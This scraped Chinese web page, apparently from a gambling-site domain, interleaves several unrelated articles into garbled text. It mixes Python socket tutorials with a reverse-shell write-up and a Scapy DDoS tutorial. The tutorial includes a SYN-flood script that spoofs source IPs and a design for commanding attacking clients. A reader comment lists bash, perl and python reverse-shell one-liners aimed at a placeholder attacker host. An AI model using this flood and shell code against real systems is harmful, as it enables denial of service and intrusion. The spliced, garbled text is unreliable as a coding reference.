您的位置:新葡亰496net > 奥门新萄京娱乐场 > 新葡亰496net:如何DIY一个简单的反弹Shell脚本,

新葡亰496net:如何DIY一个简单的反弹Shell脚本,

发布时间:2019-11-23 15:39编辑:奥门新萄京娱乐场浏览(72)

           DDOS攻击的一些基础知识点在这里就不再赘述,由于Server端要控制client,所以这里需要使用argparse,在这里我们先规定好命令格式:#-H XXX.XXX.XXX.XXX -p xxxx -c<start|stop>

    基础知识介绍:SYN介绍SYN 泛洪攻击Scapy3k官方文档

    本节内容

    1. 断言
    2. Socket构建框架
    3. ftp构建框架
    4. Socket粘包
    5. 新葡亰496net:如何DIY一个简单的反弹Shell脚本,socket通信笔记。Socket介绍
    6. Socket参数介绍
    7. 基本Socket实例
    8. 通过Socket实现简单SSH
    9. SocketServer
    10. 支持多用户在线传输的FTP程序

     

    参考:

    00起因

    之前在一个服务器上做测试的时候需要从本地连到服务器上,但是服务器没有开ssh服务,但是有python环境,想着自己写一个脚本可以从自己本地连接到服务器,然后服务器端可以将处理完的请求结果返回到本地。

    -H后面接的是被攻击主机的IP地址。

    先安装scapy:sudo pip3 install scapy-python3

    1、断言

    断言作用是,下面代码的执行要严格依据上面的执行结果,断言则为判断上面代码的结果是否符合下面代码执行的前提,有点类似于登机安检。

    assert type(obj.name) is str

    上面这句话就是断言,如果断言为真,则继续执行下面代码,如果为假,则报错,错误类别为断言错误,即asserterror。

     

      通过编写聊天程序来熟悉python中多线程和socket的用法:

    0×01设计的构图

            新葡亰496net 1

    -p指定被攻击的端口号。

    用Scapy构造一个简单的数据包看一下:pkt = IP(dst="192.168.0.100")构造SYN数据包: IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

    2、Socket构建框架

    由于面试时,很可能被要求书写Socket的简易客户端和服务端代码,所以现在归纳把框架归纳如下:

    1)服务端:

      server = socket.socket()

      server.bind(localhost,9999)

      server.listen()

      while True: 

        conn,addr = server.accept()  #阻塞状态

        while True:

          data = conn.recv(1024)  #官方建议最大不超过8192=8k, recv默认是阻塞的。

          if not dat : break  #客户端一断开,conn.recv(1024)收到的都是空数据。

          conn.send(data)

      #这套代码,只能同时服务一个客户端

    2)客户端

      client = socket.socket()

      client.connect(server_ip, port)

      client.send()

      client.recv(1024)

    3)注意:

      send指令不能发送空数据,如果send要发送的数据为空,计算机不会执行发送任务,会报错,并且继续往下执行下面代码。

      send发送的规则:1缓冲区满一定会发2超时一定会发。

      当运用循环进行连续完整send和recv数据时,我们需要第一步用len函数判断需要传送数据的长度,便于服务器端进行判断循环多少次可以完全接受完整个数据流。所以在这种情况下,server端需要发送2次send,第一次是将要发送的数据长度,第二次是发送数据本身。client端接收数据时,也需要recv两次,分别对应server端发送的数据。在统计数据长度时,使用len函数进行统计,这块需要注意,len函数对汉字字符串的统计为单个汉字的长度为1,但是len函数对字符形式的单个汉字统计结果是单个汉字长度为3,所以在server端和client端统计数据长度时要统一,要不大家都统计数据的字符格式,要不大家同时统计数据的二进制格式,只有这样才能保证server端发送的数据长度正好等于client端接受的数据长度。

     

      python socket通信:

     0×02编码实现

    -c控制攻击的开始与结束。

    以上构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的。IP包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,当然这也是DoS攻击中保护攻击者的一种方式。flags的值我们设定为S,说明我们要发送的是SYN数据包。非常简短的一段指令就够造了一个伪造了源IP地址的SYN数据包。

    3、ftp构建框架:

    1、server
      1)读取文件名
      2)检测文件是否存在
      3)打开文件
      4)检测文件大小
      5)向client发送文件大小
      6)等待客户端确认
      7)开始边读边发数据
      8)向client发送文件md5值

     2、注意,在server的框架中,还有一个地方有连续的两次send指令,即最后一次发送的文件数据和发送的md5值连续调用两次send,这里可能出现黏包现象。在这里的解决办法不需要让server端recv导致强制发送。由于此处client已经知道自己需要接收多大的数据流了,所以只让client接收这么多数据,后面的数据不接收了。然后用一条判断语句,如果总大小-已接收大小>1024,则这次接收接收1024,如果不满足上述条件,则最后这次接收接收总大小-已接收大小的数值。

     

    1.socket使用方法

      a.在python中使用socket时要iamport socket

      b.在使用socket中又服务器端和客户端之分

      socket也称作“套接字”,用于描述IP地址和端口,是一个通信链的句柄。应用程序通常通过“套接字”向网络发出请求或者应答网络请求。

      socket起源于Unix,而Unix/Linux基本哲学之一就是:一切皆文件,即都可以用“打开open—>读写write/read—>关闭close”模式来操作。Socket就是该模式的一个实现,socket即是一种特殊的文件,一些socket函数就是对其进行的操作(读/写IO、打开、关闭)。

      可以看下面的图示来形象说明:

    新葡亰496net 2

    新葡亰496net:如何DIY一个简单的反弹Shell脚本,socket通信笔记。 

     

    服务器:

    1、建立一个基于tcp协议的socket类

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    其中AF_INET指定的ipv4的协议,也可以使用AF_INET6指定ipv6的协议,而STREAM是指定面向流的tcp协议。

    2、s.bind(‘', 8089))

    绑定一个端口号,其中'127.0.0.1'是客户端的ip地址,可以使用’0.0.0.0’来绑定网络中所有的ip,8089是指定的端口,其中端口在小于1024的时候需要有管理员的权限才能绑定。

    3、s.listen(5)

    开始实行监听参数:代表连接的最大数量

    4、sock, addr = s.accept()

    接受一个客户端的连接,返回的是一个与客户端保持连接的socket对象以及客户端的ip地址和端口。该方法也会阻塞线程,直到获得客户端的连接。

     

    客户端:

    1、s.connect(('127.0.0.1', 80))

    连接到服务器,其中'www.baidu.com’也可以是服务器的ip地址。

    2、s.send('hello')

    发送数据’hello’。TCP连接创建的是双向通道,双方都可以同时给对方发数据。但是谁先发谁后发,怎么协调,要根据具体的协议来决定。

    3、s. recv(1024)

    接受连接的对方发来的数据。该方法会阻塞当前线程,所以需要一个专门的线程来接受数据。

    ① 服务器与本地实现通讯

    首先我们编写在服务器端需要运行的程序,这个程序主要的功能就是接收传入的数据然后对传入的数据进行处理,再然后就是把处理完的结果发送出去。

    新葡亰496net 3

    大概用着这几个模块,然后定义几个全局的变量。

    然后这里我们先编写一个用于提示的函数use()

    新葡亰496net 4

    然后编写我们的主函数

    新葡亰496net 5

    这里我们对之前的变量进行全局化,然后检测当脚本运行时是否携带命令,如果没有带命令参数则返回我们的提示信息。

    接下来,我们开始写我们的功能函数,第一个功能就是能否对外发送信息,并接收到返回的信息。

    新葡亰496net 6

    这里我们定义一个函数,首先使用socket创建一个客户端,然后尝试连接指定的地址和端口,默认已经连接成功。然后这里判断该函数是否被传入了数据,如果传入的数据不为空,就将传入的数据发送到指定的地址。

    接着我们要等待是否有返回包,对返回包进行接收:

    新葡亰496net 7

    这里首先测试一下,可以使用向百度发送一个get请求看是否会正常接收到返回的数据。

    这里先将target设置为www.baidu.com  port设置为80 如下图

    新葡亰496net 8

    新葡亰496net 9

    然后运行程序,可以看到有返回数据,证明这里的发送数据和接收数据的功能是成功的。

    新葡亰496net 10

    这里已经可以得到输入了,接下来就是我们要把得到的命令放在本地的操作系统中去运行。

    这里我们定义一个run_command函数去执行我们的系统命令还有返回执行结果。

    新葡亰496net 11

    然后我们测试一下这个函数是否可以成功运行。

    新葡亰496net 12

    我们这里执行一个pwd的本地命令,看是否可以正常的运行并返回

    新葡亰496net 13

    然后我们写一个类似于服务端的程序,这个脚本运行在服务器端,必然不会主动去发送请求,必须先接收到命令,然后把命令执行再将命令执行的结果返回。

    新葡亰496net 14

    这里我们测试服务端是否可以正常使用,这里当服务端接收到数据之后,将数据打印出来,并且向客户端返回信息。

    新葡亰496net 15

    这里可以看到服务器端和我们本地的客户端已经可以正常通信了,我们把几个重要的函数都已经测试成功了,后续将把这些函数串联起来,并实现简单的shell反弹效果。

    ② 本地执行简单的服务器命令

    在服务器端代码中添加多线程函数,用于处理多个客户端连接的问题,首先我们在loop_server函数中加入多线程处理多个客户端连接的代码,这里的意思为每当传入一个端户端连接时启动一个新的线程去处理。

    新葡亰496net 16

    将主函数进行调整,把loop_server函数融入到main函数中,然后将主函数设置为首先启动的函数。

    新葡亰496net 17

    此时我们如果直接测试这个脚本的话,你会发现每当运行的时候就会直接退出了,也没有报错,我们分析一下就会发现,这里我们没有启动监听,自然就会退出了,这里我们要写上当没有监听时,我们将线程先阻塞掉,添加以下代码

    新葡亰496net 18

    这里可以看到需要两个参数,一个是target一个是port,我们设置成,这两个参数我们都在命令行中获取到,在主函数中添加以下代码:

    新葡亰496net 19

    这段代码的意思就是在命令行中读取相应的参数,读取到响应的参数之后就要按照不同的参数来启动不同的服务了

    新葡亰496net 20

    接下来就要开始写我们真正功能执行的函数了

    新葡亰496net 21

    这个函数就是为了接收客户端发来的命令,并且调用本地执行,然后将执行的结果返回给客户端。

    我们直接来启动我们的服务器端的脚本:

    新葡亰496net 22

    L参数是给脚本说要启动监听,p参数是为了告诉脚本要运行在9999端口上,-c命令是说明我们要执行的是命令功能。

    我们在客户端同样启动我们的脚本

    新葡亰496net 23

    T参数是为了告诉脚本我们要连接的目标,p就是我们要连接的目标的端口

    按 ctrl d键来告诉脚本接下来的命令要发送

    新葡亰496net 24

    按下之后服务器端会给你一个提示,说明已经准备好了,可以发送命令了

    我们这里使用pwd命令来测试

    新葡亰496net 25

    这里服务器端返回了消息,这里我们就把一个简单的命令执行写完了,之后会往里添加文件上传等功能。这里提供一个完整的测试代码下载地址:链接:  密码: np3n 

    *本文作者: sjy93812,属于FreeBuf原创奖励计划,禁止转载

    新葡亰496net 26

    sjy938125 篇文章等级: 3级

     

    |

    |

    • 上一篇:Ubuntu安装Kali工具集:Katoolin
    • 下一篇:通过预测API窃取机器学习模型

    编码实现:

    接下来就要发送pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")send

    4、Socket粘包

    粘包的形成原因:连续两次调用send函数,缓冲区会把这两次send的数据当成一次,发给client端。

    粘包不是每次都会黏,不知道何时缓冲区就会粘包一次。

    解决方法:

      在server的两次send之间,插入一个recv命令,用来接收client发出的接到数据长度的回复。此时server端的recv是阻塞状态,之前的send会被强制发送。

     

    2.socket 案例

    a.socket单线程的阻塞

    # 本机实现的单线程非交互式的socket程序
    # #### server ###########################################################################################
    import socket                #导入socket类
    
    HOST =''                     #定义侦听本地地址口(多个IP地址情况下),这里表示侦听所有,也可以写成0.0.0.0
    PORT = 50007                 #Server端开放的服务端口
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #选择Socket类型和Socket数据包类型
    s.bind((HOST, PORT))         #绑定IP地址和端口
    s.listen(1)                  #定义侦听数开始侦听(实际上并没有效果)
    conn, addr = s.accept()      #定义实例,accept()函数的返回值可以看上面的socket函数说明
    
    print 'Connected by', addr
    while 1:
        data = conn.recv(1024)    #接受套接字的数据
        if not data:break         #如果没有数据接收,则断开连接
        print 'revc:',data        #发送接收到的数据
        conn.sendall(data)        #发送接收到的数据
    conn.close()                      #关闭套接字
    
    
    # #### client ###########################################################################################
    import socket
    
    HOST = '192.168.1.13'        #定义目标主机名
    PORT = 50007                 #定义目标主机开放服务端口号
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #选择Socket类型和Socket数据包类型 
    s.connect((HOST, PORT))      #连接到目标主机的socket(套接字)中
    
    s.sendall('Hello, world!')   #发送数据
    data = s.recv(1024)          #接收数据
    s.close()                    #关闭socket
    print 'Received', repr(data)
    
    # 单线程 阻塞 交互式socket程序
    # #### server:内容同上个例子#######################################################################33######
    import socket                #导入socket类
    
    HOST =''                     #定义侦听本地地址口(多个IP地址情况下),这里表示侦听所有,也可以写成0.0.0.0
    PORT = 50007                 #Server端开放的服务端口
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #选择Socket类型和Socket数据包类型
    s.bind((HOST, PORT))         #绑定IP地址和端口
    s.listen(1)                  #定义侦听数开始侦听(实际上并没有效果)
    conn, addr = s.accept()      #定义实例,accept()函数的返回值可以看上面的socket函数说明
    
    print 'Connected by', addr
    while 1:
        data = conn.recv(1024)    #接受套接字的数据
        if not data:break         #如果没有数据接收,则断开连接
        print 'revc:',data        #发送接收到的数据
        conn.sendall(data)        #发送接收到的数据
    conn.close()                      #关闭套接字
    
    
    # #### client ##########################################################################################
    import socket
    
    HOST = '192.168.1.13'
    PORT = 50007
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    while True:
        user_input = raw_input('msg to send:').strip()    #由User输入要发送的数据
        s.sendall(user_input)
        data = s.recv(1024)
        print 'Received', repr(data)
    
    s.close()
    

    单线程,即数据的串行发送,会导致阻塞,如果要解决这个问题,当然在Server端就需要支持多线程,即数据折并发。

     

     

    b.socket(多线程聊天程序实例)

      该程序实现的是一个相对比较简单的聊天程序,由于是基于控制台实现的,所只设计容许两个人聊天,另外消息的编码的分割符为|。

    # 首先建立一个User的数据结构
    import socket 
    
    class User:
        def __init__(self,skt,username='none'):
            self.skt=skt
            self.username=username
        def send_msg(self,msg):
            self.skt.send(msg)
        def logout(self):
            self.skt.close()
    
    # server
    import sys 
    import socket
    import threading,time
    import User
    
    #global variable
    userlist=[] 
    
    def hand_user_con(usr):
        try:
            isNormar=True
            while isNormar:
                data=usr.skt.recv(1024)
                time.sleep(1)
                msg=data.split('|')#分析消息
                if msg[0]=='login':
                    print 'user [%s] login' % msg[1]
                    usr.username=msg[1]
                    notice_other_usr(usr)
                if msg[0]=='talk':
                    print 'user[%s]to[%s]:%s' % (usr.username,msg[1],msg[2])
                    send_msg(msg[1],msg[2])#发送消息给目标用户,参数1:目标用户,参数2:消息内容
                if msg[0]=='exit':
                    print 'user [%s] exit' % msg[0]
                    isNormar=False
                    usr.close()
                    userlist.remove(usr)
        except:
            isNormar=False
    
    #通知其他用户以上的好友       
    def notice_other_usr(usr):
        if(len(userlist)>1):
            print 'The two users'
            userlist[0].skt.send(("login|%s" % userlist[1].username))
            userlist[1].skt.send(("login|%s" % userlist[0].username))
        else:
            print 'The one users'
    
    def send_msg(username,msg):
        for usr in userlist:
            if(usr.username==username):
                usr.skt.send(msg)
    
    
    def main():
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.bind(('0.0.0.0',9999))
        s.listen(5)
        print u'waiting for connection...'
        while True:
            sock,addr=s.accept()#等待用户连接
            user=User.User(sock)
            userlist.append(user)
            t=threading.Thread(target=hand_user_con,args=(user,));
            t.start()  
        s.close()
    
    
    if(__name__=="__main__"):
        main()    
    
    import sys 
    import socket
    import threading,time
    
    #global variable    
    isNormar=True
    other_usr=''
    
    
    def recieve_msg(username,s):
        global isNormar,other_usr
        print 'Please waiting other user login...'
        s.send('login|%s' %username)
        while(isNormar):
            data= s.recv(1024)#阻塞线程,接受消息
            msg=data.split('|')
            if msg[0]=='login':
                print u'%s user has already logged in, start to chat' % msg[1]
                other_usr=msg[1]
            else:
                print msg[0]
    
    #程序入口
    def main(): 
        global isNormar,other_usr  
        try:
            print 'Please input your name:'
            usrname=raw_input()
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect(("127.0.0.1",9999))
            t=threading.Thread(target=recieve_msg,args=(usrname,s))
            t.start()
        except:
            print 'connection exception'
            isNormar=False
        finally:
            pass
        while isNormar:
            msg=raw_input()#接受用户输入
            if msg=="exit":
                isNormar=False
            else:
                if(other_usr!=''):
                    s.send("talk|%s|%s" % (other_usr,msg))#编码消息并发送
        s.close()
    
    if __name__=="__main__":
        main()
    

     

     

    c.socketserver模块,实现socket并发

      socketserver说明如下图所示:

    新葡亰496net 27

    # SockteServer例子说明
    # #### server ####################################
    import SocketServer            #导入SocketServer,多线程并发由此类实现
    
    class MySockServer(SocketServer.BaseRequestHandler):    #定义一个类
    
        def handle(self):      #handle(self)方法是必须要定义的,可以看上面的说明
            print 'Got a new connection from', self.client_address
            while True:
                data = self.request.recv(1024)    #需要通过self的方法调用数据接收函数
                if not data:break
                print 'recv:', data
    
                self.request.send(data.upper())   #需要通过self的方法调用数据接收函数
    
    if __name__ == '__main__':    #并非一定要用这样的方式,只是建议这样使用
        HOST = ''             #定义侦听本地地址口(多个IP地址情况下),这里表示侦听所有
        PORT = 50007          #Server端开放的服务端口
        s = SocketServer.ThreadingTCPServer((HOST, PORT), MySockServer)
                                  #调用SocketServer模块的多线程并发函数
        s.serve_forever()     #持续接受客户端的连接
    
    
    # #### client #####################################
    import socket
    
    HOST = '192.168.1.13'
    PORT = 50007
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    while True:
        user_input = raw_input('msg to send:').strip()
        s.sendall(user_input)
        data = s.recv(1024)
        print 'Received', repr(data)
    
    s.close()
    

     

    d.基于SocketServer多线程的简化SSH程序

    # #### server ############################################
    import SocketServer
    import commands    #使用其中的getstatusoutput()函数,让Server端可以识别Client端发送过来的命令并执行
    import time        #主要使用其中的time.sleep()函数,用来解决Server端发送数据的“连块”问题
    
    class MySockServer(SocketServer.BaseRequestHandler):
    
        def handle(self):
            print 'Got a new connection from', self.client_address
            while True:
                cmd = self.request.recv(1024)
                if not cmd:
                    print 'Last connection with:',self.client_address
                    break
    
                cmd_result = commands.getstatusoutput(cmd)    #获取Client端的指令并执行,返回结果是一个存储两个元素的元组,第一个元素为0表示成功执行,第二个元素则是命令的执行结果
    
                self.request.send(str(len(cmd_result[1])))    #发送命令执行结果的大小长度,Client端要想接收任意大小的执行结果,就需要根据命令执行结果的大小来选择策略,这里需要注意的是,发送的数据是字符串,所以需要作类型转换
    
                time.sleep(0.2)        #睡眠0.2s,是为了解决“连块”的问题
    
                self.request.sendall(cmd_result[1]) #发送命令执行结果
    
    if __name__ == '__main__':
        HOST = ''
        PORT = 50007
        s = SocketServer.ThreadingTCPServer((HOST, PORT), MySockServer)
    
        s.serve_forever()
    
    
    # #### client #######################################
    import socket
    
    HOST = '192.168.1.13'
    PORT = 50007
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    def data_all(obj, lenth_size):
        data = ''                #用来存储每一次循环时socket接收的数据,解决socket大概两万多字节的缓冲瓶颈限制
        while lenth_size != 0:   #如果接收的数据长度不为0,开始执行接收数据处理策略
            if lenth_size <= 4096:    #这里以4096为单位块,作为每次的数据处理量大小
                data_recv = obj.recv(lenth_size)    #通过recv()接收数据
                lenth_size = 0    #通过这一步的处理,数据全部接收完毕,置lenth_size为0,结束循环,完成数据的接收处理工作
            else:
                data_recv = obj.recv(4096)    #以4096为单位块,一次接收4096的数据量大小
                lenth_size -= 4096            #处理完一次4096字节的数据后,将lenth_size减去4096
            data  = data_recv                     #判断外层,用本地的data来存储接收到的数据,因为本地的data大小没有限制,所以不存在data饱和无法继续存储数据的问题,但前面socket的recv()函数一次最多只能接收的数据量大小是有限制的,这取决于socket的缓冲区大小,因此data_all函数的作用就是通过使用多次recv()函数,并且每次接收一定量的数据后就进行本地存储,直到把所有的数据都接收完毕
        return data
    
    while True:
        user_input = raw_input('cmd to send:').strip()
        if len(user_input) == 0:continue
        s.sendall(user_input)
    
        data_size = int(s.recv(1024))      #得到命令执行结果的大小长度,因为发送过来的数据是字符串,所以这里要作类型转换
        print '33[32;1mdata size:33[0m',data_size    #打印命令执行结果的大小
        result = data_all(s, data_size)    #通过data_all函数来执行相应的数据接收处理策略
        print result                       #打印命令执行结果
    
    s.close()                                  #关闭套接字
    

    PS:

      1.Server端发送数据的“连块”问题,即发送两次数据时,如果发送间隔比较短,socket会把两次发送的数据放在一起来发送,这里通过time.sleep()函数来解决。

      2.socket的缓冲区大小问题,即当执行top -bn 3这样执行结果长度大的命令时,socket缓冲区一次是无法存储这么多数据的,所以只能分多次来接收数据,这样就会在Client端带来一定的问题,比如命令执行的不同步等,解决的方法是通过用循环接收的方法来进行本地存储Server端发送的数据。

      当然,如果要执行man等查询方面的命令,上面的程序也是无法做到的,所以这里说,这只是一个简版的SSH程序

    这些评论亮了

    • 新葡亰496net 28

      温加饱加富加浪(1级)我没有什么大的理想,我只想温饱管够回复

      1、利用exec弹
      $ exec 5<> /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
      $ cat <&5 | while read line; do $line 2>&5 >&5; done
      2、利用bash弹
      在目标机器上执行
      bash -i >& /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
      3、利用perl弹
      perl -e 'use Socket;$i="your-fuxking-public-ip";$p=your-fuxking-port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
      4、利用python弹
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-fuxking-public-ip",your-fuxking-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

      )27(亮了

    • 新葡亰496net 29

      kzaopa回复

      我看着与《Python 黑帽子:黑客与渗透测试编程之道》中的"netcat_for_py.py"脚本有些相似呢。在此基础上改进好歹注明下参考来源啊

    Server端发送命令,绑定所有网络地址和58868端口并开始监听,之后我们新开一个线程来等待客户端的连接,以免阻塞我们输入命令。

    import randomfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send

    5、Socket 介绍

    Socket是对TCP/IP和UDP底层协议的封装,暴露出API供其他协议(https,ftp,dns等)使用。所以如果想自己写一个网络传输协议,至少需要学会Socket协议。Socket中只干两件事,发数据send和接受数据receive,至于细节可以自己定义。

    1 def main():
    2     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    3     s.bind(('0.0.0.0',58868))
    4     s.listen(2014)
    5     t = Thread(target = waitConnect,args=(s,))
    6     r.start()
    

    二、上面就完成了基本的脚本实现SYN泛洪攻击,现在采用客户端、服务器方式实现Ddos攻击

    • 由于server端需要发送命令去控制Client端发送攻击,所以先规定命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'(-H后面是被攻击主机的IP地址,-p指定被攻击的端口号,-c控制攻击的开始与停止。)
    • 在server端解析命令就需要一个叫 argparse 的库,基本用法:

    Socket Families(地址簇)

    socket.``AF_UNIX  unix本机进程间通信,通过本机的网卡转一下,实现本机的两个进程之间的数据交互。

    socket.``AF_INET IPV4

    socket.``AF_INET6  IPV6

    由于进程之间默认无法通讯,这是出于保护进程的安全着想。如果想让进程之间相互通讯,可以使用文件的序列化,或者使用网卡作为媒介工具,相互传输数据。

     由于我们要给所有的客户端发送命令,所以我们在新开的线程中将连接进来的socket添加到一个list当中。在主函数中我们第一次输入命令之前需要至少有一个客户端连接到服务器,所以这里我们判断了一下socket的长度。Python群 125240963 进群获取数十套PDF电子书和各种视频!

    导入argparse库

    import argparse

    Socket Types

    socket.``SOCK_STREAM  #for tcp

    socket.``SOCK_DGRAM   #for udp

    1 print('Wait at lease a client connection!')
    2 while not len(socketList):
    3     pass
    4 print('It has been a client connection!')
    
    创建ArgumentParser对象

    parser = argparse.ArgumentParser(description='Process some integers.')

     

    现在循环等待输入命令,输入之后判断命令是否满足命令格式的基本要求,如果满足了,我们就把命令发送给所有客户端。

    添加参数

    parser.add_argument('-p', dest='port', type=int, help='An port number!')

    6. Socket 参数介绍

    1     while True:
    2         print('=' * 50)
    3         print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
    4         #等待输入命令
    5         cmd_str = input('Please input cmd:')
    6         if len(cmd_str):
    7             if cmd_str[0] == '#':
    8                 sendCmd(cmd_str)
    
    解析命令行参数

    args = parser.parse_args()print('Port:',args.port)

    上面创建了一个ArgumentParser对象,description参数是对命令行解析的一个描述信息,通常在我们使用-h命令的时候显示。add_argument添加我们要解析的参数,这里只添加了一个-p参数,dest是通过parse_args()函数返回的对象中一个属性的名称。type就是解析参数的类型。help指定的字符串是为了自动生成帮助信息。argparse默认就支持-h参数,只要在添加参数的时候指定了help的值就可以生成帮助信息了。

    server = socket.``socket(family=AF_INETtype=SOCK_STREAMproto=0fileno=None)  

    server.bind(address) 

      server.bind(address) 绑定到地址。address地址的格式取决于地址族。在AF_INET下,以元组(host,port)的形式表示地址。

    **server.listen(backlog) **

      开始监听传入连接。backlog指定在拒绝连接之前,可以挂起的最大连接数量。

          backlog等于5,表示内核已经接到了连接请求,但服务器还没有调用accept进行处理的连接个数最大为5
          这个值不能无限大,因为要在内核中维护连接队列

    **server**.accept() 

      接受连接并返回(conn,address),其中conn是新的套接字对象,可以用来接收和发送数据。address是连接客户端的地址。

      接收TCP 客户的连接(阻塞式)等待连接的到来

    **server**.connect(address) 

      连接到address处的套接字。一般,address的格式为元组(hostname,port),如果连接出错,返回socket.error错误。

    **server**.close() **

      关闭套接字

    **server**.recv(bufsize[,flag])**

      接受套接字的数据。数据以字符串形式返回,bufsize指定最多可以接收的数量。flag提供有关消息的其他信息,通常可以忽略。

    **server**.send(string[,flag]) **

      将string中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小。即:可能未将指定内容全部发送。

    **server**.sendall(string[,flag]) **

      将string中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功返回None,失败则抛出异常。

    新葡亰496net,      内部通过递归调用send,将所有内容发送出去。

     

    现在我们程序的大体框架已经有了,现在我们来编写主函数中没有完成的子功能。 首先我们应该实现等待客户端的函数,方便开启新的线程。

    三、socket模块

    Python中的socket提供了访问BSDsocket的接口,可以非常方便的实现网络中的信息交换。通常使socket的时候需要指定ip地址、端口号以及协议类型。通俗的讲主动发起连接请求的称为客户端,监听端口响应连接的我们称为服务器。

    • 客户端#导入socket库``import socket``#创建socket:``s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)``#建立连接``s.connect(('192.168.0,100', 7786))
    • 服务器端#导入socket库 import socketcliList = []``#创建socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)``#绑定地址和端口号 s.bind(('0.0.0.0', 7786)):``#开始监听 s.listen while True:``# 接受一个新的连接: sock, addr = s.accept()``#将sock添加到列表中 cliList.append在创建玩socket之后,要绑定一个地址和端口,这里的0.0.0.0表示绑定到所有的网络地址,端口号只要不是已经使用的端口号就可以了。之后开始监听端口,并在参数中指定最大连接数为10。最后循环等待新的连接,并将已连接的sock对象添加到了一个列表中。注意这里accept()默认是阻塞的,还可以通过settimeout()设定等待时间或者setblocking()设置为非阻塞模式,更多的相关细节可以查看Python官方文档。

    7. 基本Socket实例

    1)server服务端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import socket
     
    server = socket.socket() #获得socket实例
     
    server.bind(("localhost",9998)) #绑定ip port
    server.listen()  #开始监听
     
    while True#第一层loop
        print("等待客户端的连接...")
        conn,addr = server.accept() #接受并建立与客户端的连接,程序在此处开始阻塞,只到有客户端连接进来...
        print("新连接:",addr )
        while True:
     
            data = conn.recv(1024)
            if not data:
                print("客户端断开了...")
                break #这里断开就会再次回到第一次外层的loop
            print("收到消息:",data)
            conn.send(data.upper())
     
    server.close()

    2)client客户端

     1 import socket
     2 
     3 client = socket.socket()
     4 
     5 client.connect(("localhost",9998))
     6 
     7 while True:
     8     msg = input(">>:").strip()
     9     if len(msg) == 0:continue
    10     client.send( msg.encode("utf-8") )
    11 
    12     data = client.recv(1024)
    13     print("来自服务器:",data)
    14 
    15 client.close()
    

    在这个函数中,我们只需要循环等待客户端的连接就可以了,新连接的socket要判断一下是否在socketList中已经存储过了,如果没有的话就添加到socketList中。

    8.通过socket实现简单的ssh

    使用socket可以做一个极简版的ssh,就是客户端连接上服务器后,让服务器执行命令,并返回结果给客户端。

    客户端要循环接收服务器端的大量数据返回,直到一条命令的结果全部返回为止。但问题是客户端知道服务器端返回的数据有多大么?肯定是不知道的。所以只能让服务器在发送数据之前主动告诉客户端,要发送多少数据给客户端,然后再开始发送数据。

    我们在客户端本想只接收服务器端即将发送的数据大小结果,但实际上却连数据本身也跟着接收了一部分。

    这里就是我们上面说的“粘包”概念,即虽然服务器端调用send 2次,但你send调用时,数据其实并没有立刻被发送给客户端,而是放到了系统的socket发送缓冲区里,等缓冲区满了、或者数据等待超时了,数据才会被send到客户端,这样就把好几次的小数据拼成一个大数据,统一发送到客户端了,这么做的目地是为了提高io利用效率,一次性发送总比连发好几次效率高。但也带来一个问题,就是“粘包”,即2次或多次的数据粘在了一起统一发送了。就是我们上面说到的情况。

     

    我们必须想办法把粘包分开,方法如下:

      服务器端每发送一个数据给客户端,就立刻等待客户端进行回应,即调用 conn.recv(1024),由于recv在接收不到数据时是阻塞的,这样就会造成,服务器端接收不到客户端的响应,就不会执行后面的conn.sendall(命令结果)的指令,收到客户端响应后,再发送命令结果时,缓冲区就已经被清空了,因为上一次的数据已经被强制发到客户端了。代码如下:

     1)server

    import socket
    import os,subprocess
    
    server = socket.socket() #获得socket实例
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    server.bind(("localhost",9999)) #绑定ip port
    server.listen()  #开始监听
    
    while True: #第一层loop
        print("等待客户端的连接...")
        conn,addr = server.accept() #接受并建立与客户端的连接,程序在此处开始阻塞,只到有客户端连接进来...
        print("新连接:",addr )
        while True:
    
            data = conn.recv(1024)
            if not data:
                print("客户端断开了...")
                break #这里断开就会再次回到第一次外层的loop
            print("收到命令:",data)
            #res = os.popen(data.decode()).read() #py3 里socket发送的只有bytes,os.popen又只能接受str,所以要decode一下
            res = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE).stdout.read() #跟上面那条命令的效果是一样的
            if len(res) == 0:
                res = "cmd exec success,has not output!".encode("utf-8")
